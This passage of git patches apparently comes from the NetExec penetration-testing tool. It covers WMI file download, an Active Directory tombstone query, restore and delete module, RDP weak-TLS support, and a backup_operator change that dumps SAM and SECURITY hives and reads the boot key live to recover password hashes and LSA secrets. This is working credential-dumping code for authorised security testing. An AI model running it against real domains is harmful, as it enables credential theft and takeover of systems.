([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" + output = self.execute_psh(powershell_command, get_output=True) + data += base64.b64decode(output) + return data + except Exception as e: + self.logger.debug(f"Error while downloading {remote_path}: {e}") + self.logger.fail(f"Could not download {remote_path}") + return None def get_file_single(self, remote_path, download_path): if self.args.append_host: @@ -707,7 +724,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/cimv2") ) elif self.args.exec_method == "wmiexec-event": exec_method = wmiexec_event.WMIEXEC_EVENT( @@ -715,7 +733,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/subscription") ) output = exec_method.execute(command, get_output, use_powershell=use_powershell) diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index b03826d23d..a6d1654a11 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -21,7 +21,7 @@ class WMIEXEC: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace = None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger @@ -32,8 +32,10 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__pwd = "C:\\" self.__codec = codec - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = cimv2_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False, use_powershell=False): diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index 2a09a3a5c7..8ffd5a5f0e 100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -30,7 +30,7 @@ class WMIEXEC_EVENT: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace = None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" @@ -41,8 +41,11 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__instanceID = f"windows-object-{uuid.uuid4()!s}" self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}" - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = subscription_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() + def execute(self, command, output=False, use_powershell=False): if "'" in command: From 1920b3b515d40636b22fb4b3b001fd4817fa32c0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:33:50 -0400 Subject: [PATCH 330/397] Sort imports --- nxc/modules/tombstone.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 2f2bb7da41..aba9143f30 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -1,8 +1,10 @@ -import sys -from nxc.parsers.ldap_results import parse_result_attributes -from impacket.ldap.ldapasn1 import Control -from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE, MODIFY_DELETE +from sys import exit + +from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE +from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl + from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: From 421bd670d20c57b6316599e609dfa98d3fde5eb5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:34:12 -0400 Subject: [PATCH 331/397] Remove unnecessary init --- nxc/modules/tombstone.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index aba9143f30..b474b02345 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -15,11 +15,6 @@ class NXCModule: supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - self.domains = None - def options(self, context, module_options): """ ACTION: Specify the action to execute, by default it uses the "query" action which only retrieve deleted objects, "restore" recover the object from the "ID" param, delete will delete the object. From 553224031e40329a658fdfd30e325fedd794b1a4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:35:11 -0400 Subject: [PATCH 332/397] Simplify module args --- nxc/modules/tombstone.py | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index b474b02345..20db4b81dd 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -25,22 +25,16 @@ def options(self, context, module_options): nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query """ - self.action = module_options.get("ACTION", "query") - self.id = "" - self.deleteDN = "" - if "ACTION" in module_options: - self.action = module_options.get("ACTION") - if "ID" in module_options: - self.id = module_options["ID"] - if "DN" in module_options: - self.deleteDN = module_options["DN"] - if "ACTION" in module_options and self.action.lower() == "restore" and "ID" not in module_options: - context.log.error("ID is necessary when calling tombstone with the restore action") - sys.exit(1) - - if "ACTION" in module_options and self.action.lower() == "delete" and "DN" not in module_options: - context.log.error("DN is necessary when calling tombstone with the delete action") - sys.exit(1) + self.action = module_options.get("ACTION", "query").lower() + self.id = module_options.get("ID", "") + self.delete_dn = module_options.get("DN", "") + if self.action == "restore" and not self.id: + context.log.fail("ID is necessary when calling tombstone with the restore action") + return False + + if self.action == "delete" and not self.delete_dn: + context.log.fail("DN is necessary when calling tombstone with the delete action") + return False def on_login(self, context, connection): self.__sAMAccountName = "" From 3e0cc700e75f70c2af2832864fcd8b9b7099cb55 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:35:48 -0400 Subject: [PATCH 333/397] Simplify action selection --- nxc/modules/tombstone.py | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 20db4b81dd..cee17975dd 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -37,16 +37,11 @@ def options(self, context, module_options): return False def on_login(self, context, connection): - self.__sAMAccountName = "" - self.__objectDN = "" - self.__lastKnownParent = "" - self.connection = connection - - if self.action.lower() == "query": - self.query_deleted_objects(context) - elif self.action.lower() == "delete": + if self.action == "query": + self.query_deleted_objects(context, connection) + elif self.action == "delete": self.delete_object(context, connection) - elif self.action.lower() == "restore": + elif self.action == "restore": self.restore_deleted_object(context, connection) else: context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)') From 9bfa036013804770404894d820d9ce802f885489 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:36:05 -0400 Subject: [PATCH 334/397] Remove unused import --- nxc/modules/tombstone.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index cee17975dd..8df1dc575b 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -1,5 +1,3 @@ -from sys import exit - from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl From fc3fb874c0a9e6a7ade9d0d457687edacc1300a9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:45:41 -0400 Subject: [PATCH 335/397] First review pass simplifying logic --- nxc/modules/tombstone.py | 93 ++++++++++++++++------------------------ 1 file changed, 36 insertions(+), 57 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 8df1dc575b..2d42353128 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -44,112 +44,91 @@ def on_login(self, context, connection): else: context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)') - def restore_deleted_object(self, context, connection): - - # ldap DN for deleted objects - dn = f"CN=Deleted Objects,{connection.baseDN}" + def show_deleted_control(self): + return Control().setComponents("1.2.840.113556.1.4.417", True) + + def search_deleted_objects(self, connection): + return parse_result_attributes( + connection.search( + baseDN=f"CN=Deleted Objects,{connection.baseDN}", + searchFilter="(isDeleted=TRUE)", + attributes=["*"], + searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)], + ) + ) - # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID - show_deleted_control = Control() - show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" - show_deleted_control["criticality"] = True + def restore_deleted_object(self, context, connection): + object_dn = "" + original_dn = "" context.log.highlight(f"Trying to find object with given id {self.id}") context.log.debug("Search Filter=(isDeleted=TRUE)") - resp = self.connection.search(baseDN=dn, searchFilter="(isDeleted=TRUE)", attributes=["*"], searchControls=[show_deleted_control]) - - resp_parsed = parse_result_attributes(resp) context.log.highlight("") - for entries in resp_parsed: - - # This check ensures that we skip the result for the Default container and only get the result from the given ID. - if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": - + for entries in self.search_deleted_objects(connection): + if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold(): continue - if self.id == entries["name"].split(":")[1]: - + if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold(): context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") context.log.highlight(f"{'description':<20}: {entries.get('description', '')}") context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") - context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") + context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}") context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}") context.log.highlight("") - self.__objectDN = entries.get("distinguishedName", "") - self.__lastKnownParent = entries.get("lastKnownParent", "") - object_prefix = self.__objectDN.split("\\")[0] - self.__originalDN = f"{object_prefix},{self.__lastKnownParent}" - + object_dn = entries.get("distinguishedName", "") + original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "") break - if self.__originalDN == "": - context.log.highlight(f"The object was not found with id {self.id}.") + if not original_dn: + context.log.fail(f"The object was not found with id {self.id}.") return False try: - connection.ldap_connection.modify(dn=self.__objectDN, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [self.__originalDN])]}, controls=[show_deleted_control]) - context.log.highlight(f"Success {self.__originalDN} restored") + connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()]) + context.log.highlight(f"Success {original_dn} restored") except LDAPSessionError as e: context.log.fail(f"Error at trying to recover the object {e}") return False def delete_object(self, context, connection): - context.log.highlight(f"Trying to delete {self.deleteDN}") + context.log.highlight(f"Trying to delete {self.delete_dn}") try: - connection.ldap_connection.delete(dn=self.deleteDN) + connection.ldap_connection.delete(dn=self.delete_dn) context.log.highlight("") - context.log.highlight(f'Success, "{self.deleteDN}" deleted') + context.log.highlight(f'Success, "{self.delete_dn}" deleted') except LDAPSessionError as e: context.log.highlight("") - context.log.fail(f'Error when trying to delete "{self.deleteDN}" {e}') - - def query_deleted_objects(self, context): - - # ldap DN for deleted objects - dn = f"CN=Deleted Objects,{self.connection.baseDN}" - - # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID - show_deleted_control = Control() - show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" - show_deleted_control["criticality"] = True + context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}') + def query_deleted_objects(self, context, connection): context.log.debug("Search Filter=(isDeleted=TRUE)") - resp = self.connection.search(baseDN=dn, searchFilter="(isDeleted=TRUE)", attributes=["*"], searchControls=[show_deleted_control]) - resp_parsed = parse_result_attributes(resp) + resp_parsed = self.search_deleted_objects(connection) - if len(resp_parsed) == 0: + if not resp_parsed: context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active") return False - elif len(resp_parsed) < 2: + resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()] + if not resp_parsed: context.log.highlight("No objects are in a tombstone state") return False - number_of_deleted_objects = 0 context.log.highlight("") for entries in resp_parsed: - - # This check ensures that we skip the result for the Default container and only get results that are valid for us. - if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": - - continue - context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") context.log.highlight(f"{'description':<20}: {entries.get('description', '')}") context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") - context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") + context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}") context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}") context.log.highlight("") - number_of_deleted_objects += 1 - - context.log.highlight(f"Found {number_of_deleted_objects} deleted objects") + context.log.highlight(f"Found {len(resp_parsed)} deleted objects") From f1726b05207563ad6b6ed4ebffaba61d11fbf8f5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 11:46:09 -0400 Subject: [PATCH 336/397] Simplify logic --- nxc/modules/tombstone.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 2d42353128..d3a8bb1c54 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -52,7 +52,7 @@ def search_deleted_objects(self, connection): connection.search( baseDN=f"CN=Deleted Objects,{connection.baseDN}", searchFilter="(isDeleted=TRUE)", - attributes=["*"], + attributes=[], searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)], ) ) From e3d86824ee77d4c5bdb0c610f6b9de2ef8b150de Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 13:07:01 -0400 Subject: [PATCH 337/397] Improve module description --- nxc/modules/tombstone.py | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index d3a8bb1c54..e70427feab 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -9,19 +9,21 @@ class NXCModule: """Module by Fabrizzio: @Fabrizzio53""" name = "tombstone" - description = "Query, restore and delete AD object" + description = "Query, restore and delete AD objects" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ - ACTION: Specify the action to execute, by default it uses the "query" action which only retrieve deleted objects, "restore" recover the object from the "ID" param, delete will delete the object. - ID: The id of which object you want to restore. - DN: The DN of which object you want to delete. - Usage: nxc ldap $DC-IP -u Username -p Password -M tombstone - nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 - nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" - nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query + ACTION Specify the action to execute: query, restore or delete. Default is query. + ID The id of which object you want to restore. + DN The DN of which object you want to delete. + + Usage: + nxc ldap $DC-IP -u Username -p Password -M tombstone + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" """ self.action = module_options.get("ACTION", "query").lower() self.id = module_options.get("ID", "") From b9535e67753c66c083e02fb379f527e116f7d7e5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Sep 2026 13:10:45 -0400 Subject: [PATCH 338/397] Formatting --- nxc/modules/tombstone.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index e70427feab..3c19c57591 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -92,7 +92,6 @@ def restore_deleted_object(self, context, connection): try: connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()]) context.log.highlight(f"Success {original_dn} restored") - except LDAPSessionError as e: context.log.fail(f"Error at trying to recover the object {e}") return False @@ -104,7 +103,6 @@ def delete_object(self, context, connection): connection.ldap_connection.delete(dn=self.delete_dn) context.log.highlight("") context.log.highlight(f'Success, "{self.delete_dn}" deleted') - except LDAPSessionError as e: context.log.highlight("") context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}') From 26568e44abe73597a88d4df4818f7026e3d7b337 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 22 Sep 2026 21:37:02 +0200 Subject: [PATCH 339/397] Reach legacy RDP servers by allowing weak TLS ciphers --- nxc/protocols/rdp.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index fdbdd923c4..d4a5a5f2f2 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -115,7 +115,7 @@ def print_host_info(self): self.logger.debug(f"Error adding host {self.host} into db: {e!s}") def create_conn_obj(self): - self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) + self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) asyncio.run(self.check_nla()) @@ -166,6 +166,7 @@ def create_conn_obj(self): domain=self.domain, dc_ip=self.domain, timeout=self.args.rdp_timeout, + unsafe_ssl=True, ) return True From 2f1c3e0275d96fc6089f0cfe126b5fb5dbb2d78f Mon Sep 17 00:00:00 2001 From: Abdelrahman Mohamed <111748662+abdo210xl@users.noreply.github.com> Date: Tue, 22 Sep 2026 22:39:25 +0300 Subject: [PATCH 340/397] Added live boot key extraction to backup_operator Signed-off-by: Abdelrahman Mohamed <111748662+abdo210xl@users.noreply.github.com> --- nxc/modules/backup_operator.py | 98 +++++++++++++++++++++++++++++++--- 1 file changed, 92 insertions(+), 6 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index 7cba3a9834..a016a76f36 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,5 +1,6 @@ import contextlib import re +from binascii import unhexlify from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError @@ -23,10 +24,61 @@ def __init__(self, context=None, module_options=None): self.machine_account_hash = None self.cleanup_user = None self.cleanup_hash = None + self.system_hive_saved = False def options(self, context, module_options): """NO OPTIONS""" + def get_boot_key(self, context, dce): + """ + Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC, + using the already-connected `dce` this module sets up for the SAM/SECURITY + hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or + downloaded at all. + + Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling + RemoteOperations directly, because RemoteOperations.enableRegistry() starts the + RemoteRegistry service via the Service Control Manager -- which needs admin-level + rights a plain Backup Operator doesn't have. This module already gets + RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which + works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse + that connection here. + + Raises on any failure (access denied, path not allowed remotely, RPC error, etc.) + so the caller can fall back to the full SYSTEM hive save/download path. + """ + boot_key = b"" + ans = rrp.hOpenLocalMachine(dce) + reg_handle = ans["phKey"] + + for key in ["JD", "Skew1", "GBG", "Data"]: + context.log.debug(f"Retrieving class info for Lsa\\{key}") + ans = rrp.hBaseRegOpenKey( + dce, + reg_handle, + f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}", + dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, + samDesired=rrp.KEY_READ, + ) + key_handle = ans["phkResult"] + ans = rrp.hBaseRegQueryInfoKey(dce, key_handle) + class_out = ans["lpClassOut"] + if isinstance(class_out, str): + class_out = class_out.encode() + boot_key += class_out[:-1] + rrp.hBaseRegCloseKey(dce, key_handle) + + rrp.hBaseRegCloseKey(dce, reg_handle) + + transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] + boot_key = unhexlify(boot_key) + + final_boot_key = b"" + for i in range(len(boot_key)): + final_boot_key += boot_key[transforms[i]:transforms[i] + 1] + + return final_boot_key + def on_login(self, context, connection): connection.args.share = "SYSVOL" rand_suffix = gen_random_string(8) @@ -36,10 +88,11 @@ def on_login(self, context, connection): connection.trigger_winreg() dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) + boot_key = None try: # Large hives can take minutes to save before the RPC call returns. connection.conn.setTimeout(max(connection.args.smb_timeout, 60)) - for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: + for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") @@ -50,6 +103,27 @@ def on_login(self, context, connection): except Exception as e: context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") return + + try: + context.log.display("Attempting to retrieve boot key live from the remote registry...") + boot_key = self.get_boot_key(context, dce) + context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.") + except Exception as e: + context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...") + boot_key = None + + if boot_key is None: + hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM") + outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" + context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}") + self.system_hive_saved = True + except Exception as e: + context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}") + return except (Exception, KeyboardInterrupt) as e: context.log.fail(f"Unexpected error: {e}") return @@ -60,8 +134,13 @@ def on_login(self, context, connection): # copy remote file to local log_path = f"{connection.output_filename}." - for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.conn.setTimeout(max(connection.args.smb_timeout, 60)) + hives_to_download = ["SAM", "SECURITY"] + if self.system_hive_saved: + hives_to_download.append("SYSTEM") + for hive in hives_to_download: connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive) + connection.conn.setTimeout(connection.args.smb_timeout) # read local file try: @@ -87,8 +166,10 @@ def parse_lsa(secret_type, secret): self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$" return - local_operations = LocalOperations(log_path + "SYSTEM") - boot_key = local_operations.getBootKey() + if boot_key is None: + local_operations = LocalOperations(log_path + "SYSTEM") + boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam) sam_hashes.dump() sam_hashes.finish() @@ -140,7 +221,9 @@ def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix connection.create_conn_obj() if connection.hash_login(connection.domain, username, user_hash): context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}") - hives = ["SAM", "SECURITY", "SYSTEM"] + hives = ["SAM", "SECURITY"] + if self.system_hive_saved: + hives.append("SYSTEM") all_deleted = True for hive in hives: remote_name = f"{hive}_{rand_suffix}" @@ -197,7 +280,10 @@ def _extract_da_hash(self, output_filename, context): return None, None def _print_cleanup_warning(self, context, rand_suffix): - context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}") + paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}" + if self.system_hive_saved: + paths += f", SYSTEM_{rand_suffix}" + context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}") def _strip_root_key(self, dce, key_name): # Let's strip the root key From ef3d4c8a767bd285151403239ebc82ca03a0f994 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 22 Sep 2026 22:56:22 +0200 Subject: [PATCH 341/397] Update aardwolf dependency version Updated aardwolf dependency version to 0.2.14. Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 917bad1598..d992876c16 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,7 +17,7 @@ classifiers = [ "Topic :: Security" ] dependencies = [ - "aardwolf>=0.2.8", + "aardwolf>=0.2.14", "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", From cd956dd91f5da455159c1df134492222dbb84d4c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 23 Sep 2026 10:11:42 +0200 Subject: [PATCH 342/397] ruff --- nxc/protocols/wmi.py | 10 +++++----- nxc/protocols/wmi/wmiexec.py | 2 +- nxc/protocols/wmi/wmiexec_event.py | 3 +-- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index f8a7b3887a..3092d5ba28 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -402,7 +402,7 @@ def callback_func(iEnumWbemClassObject, records): wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) # If file is bigger than 70MB, print a warning - if callback_func.size < 73400320: # 70MB + if callback_func.size < 73400320: # 70MB # Read the file try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' @@ -427,15 +427,15 @@ def callback_func(iEnumWbemClassObject, records): file_length = struct.unpack(">I", bytes(file_data[:4]))[0] return bytes(file_data[4:4 + file_length]) else: - self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and use wmi command execution.") + self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.2f} Mo. The download will take some time and use wmi command execution.") # Read file dirty data = b"" - chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash + chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash chunk_count = (callback_func.size + chunk_size - 1) // chunk_size - try: + try: for i in range(chunk_count): offset = i * chunk_size - self.logger.debug(f"Reading bytes from {offset} to {offset+chunk_size if offset+chunk_size < callback_func.size else callback_func.size}") + self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}") powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" output = self.execute_psh(powershell_command, get_output=True) data += base64.b64decode(output) diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index a6d1654a11..7c517b7f16 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -21,7 +21,7 @@ class WMIEXEC: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace = None): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index 8ffd5a5f0e..0684e34dde 